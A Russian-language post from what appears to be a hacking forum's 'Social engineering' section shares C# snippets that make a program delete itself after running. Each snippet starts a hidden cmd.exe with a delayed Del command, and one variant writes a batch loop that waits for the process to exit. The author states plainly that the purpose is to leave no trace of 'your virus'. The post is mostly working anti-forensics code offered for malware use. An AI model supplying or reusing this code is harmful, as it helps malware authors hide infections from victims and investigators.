Загрузка...

Source - Self-removal program (for virus) C#

Thread in Social engineering created by alsoyka Oct 31, 2017. (bumped Oct 30, 2017) 848 views

  1. alsoyka
    alsoyka Topic starter Oct 31, 2017 131 Oct 22, 2016
    Никто не хочет оставлять после себя какое-либо тело от вашей программы(вируса)
    поэтому мы сделаем самоудаление программы после окончания всех ею функций!)
    Пользуемся!!

    Для формы:

    Code
    ProcessStartInfo Flash = new ProcessStartInfo();
    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);
    Process.GetCurrentProcess().Kill();
    Для консоли:
    Code
    ProcessStartInfo Flash = new ProcessStartInfo();

    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &
    Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();
    Process.GetCurrentProcess().Kill();

    Так же можно с помощью скрипта:

    Code
    public static void InitiateSelfDestructSequence()

    {
    string batchScriptName = "BatchScript.bat";
    using (StreamWriter writer = File.AppendText(batchScriptName))
    {
    writer.WriteLine(":Loop");
    writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");
    writer.WriteLine("if Errorlevel 1 (");
    writer.WriteLine(" Timeout /T 1 /Nobreak");
    writer.WriteLine(" Goto Loop");
    writer.WriteLine(")");
    writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");
    }
    Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });
    }

    GL HF
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
Top
Loading...